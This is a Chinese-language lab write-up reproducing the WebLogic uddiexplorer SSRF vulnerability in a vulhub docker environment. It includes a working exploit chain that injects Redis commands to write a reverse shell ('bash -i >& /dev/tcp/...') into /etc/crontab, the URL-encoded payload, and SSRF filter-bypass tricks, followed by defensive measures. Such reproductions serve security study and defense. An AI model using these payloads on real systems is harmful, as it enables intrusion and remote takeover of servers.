Weblogic-SSRF漏洞復現
一、SSRF概念
服務端請求偽造(Server-Side Request Forgery),是一種有攻擊者構造形成有服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。
SSRF形成的原因大都是由於服務端提供了從其他伺服器應用獲取資料的功能,且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網頁文字內容,載入指定地址的圖片、文件等等。
二、SSRF用途
1.內外網的埠和服務掃描
2.主機本地敏感資料的讀取
3.內外網主機應用程式漏洞的利用
4.內外網web站點漏洞的利用
三、漏洞影響版本
weblogic 10.0.2 -- 10.3.6
四、漏洞復現環境搭建
利用vulhub進行漏洞復現,docker搭建vulhub環境參考: https://blog.csdn.net/qq_36374896/article/details/84102101
Docker-compose build
Docker-compose up -d
五、漏洞復現
1.訪問http://127.0.0.1:7001/uddiexplorer/,即可檢視uddiexplorer應用
2.SSRF漏洞存在於http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp,提交引數值為url:port,根據返回錯誤不同,可對內網狀態進行探測如埠開放狀態等
2.1隨便輸入內容,抓包
2.2發現如下圖operator引數,引數的值是url,懷疑可能存在SSRF漏洞
2.3測試是否存在SSRF漏洞,在url後跟埠,把url修改為自己搭建的伺服器地址,訪問開放的80埠,發現返回如下資訊
2.4訪問一個不存在的埠,將返回but could not connect over HTTP to server
2.5通過上面的測試,可以發現目標存在SSRF漏洞
3.注入HTTP頭,利用Redis反彈shell
Weblogic的SSRF有一個比較大的特點,其雖然是一個”GET/POST”請求,但是我們可以通過傳入%0a%0d來注入換行符,某些服務(如redis)是通過換行符來分隔每條命令,本環境可以通過該SSRF攻擊內網中的redis伺服器。
首先,通過ssrf探測內網中的redis伺服器,應為這個漏洞是用docker環境搭建的。
3.1傳送3條redis的命令,將反彈shell指令碼寫入/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/8888 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
3.2對命令進行URL編碼,注意不能對所有命令編碼,需要對部分特殊符號進行URL編碼
http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
3.3監聽,成功獲得shell
六、SSRF漏洞的尋找
1.分享,通過URL地址分享網頁內容
2.轉碼服務
3.線上翻譯
4.圖片載入與下載:通過URL地址載入或者下載圖片
5.圖片、文章收藏功能
6.未公開的api實現以及其他呼叫URL的功能
7.從URL關鍵字中尋找:share、wap、url、link、src、source、target、u、3g、display、sourceURI、imageURL、domain……
七、SSRF漏洞的驗證方法
1.因為SSRF漏洞是構造伺服器傳送請求的安全漏洞,所以我們可以通過抓包分析傳送的請求是否是由伺服器端傳送的來判斷是否存在SSRF漏洞
2.在頁面原始碼中查詢訪問的資源地址,如果該資源地址型別為http://www.xxx.com/a.php?image=(地址)的可能存在SSRF漏洞
八、SSRF繞過技巧
1.新增埠號 http://127.0.0.1:8080
2.短網址繞過 http://dwz.cn/11SMa
3.IP限制繞過 十進位制轉換、八進位制轉換、十六進位制轉換、不同進位制組合轉換
4.協議限制繞過 當url協議限制只為http(s)時,可以利用follow redirect特性,構造302跳轉服務,結合dict://,file://,gopher://
5.可以指向任意ip的域名:xip.io
6.@ http://abc@127.0.0.1
九、SSRF防禦
1.過濾返回資訊,驗證遠端伺服器對請求的響應是比較容易的方法。如果web應用是去獲取某一種型別的檔案。那麼在把返回結果展示給使用者之前先驗證返回的資訊是否符合標準。
2.統一錯誤資訊,避免使用者可以根據錯誤資訊來判斷遠端伺服器的埠狀態。
3.限制請求的埠為http常用的埠,比如80,443,8080,8090
4.黑名單內網ip。避免應用被用來獲取內網資料,攻擊內網
5.禁用不需要的協議。僅僅允許http和https請求。可以防止類似於file:///,gopher://,ftp:// 等引起的問題
---------------------------------------------------------------------------------------------------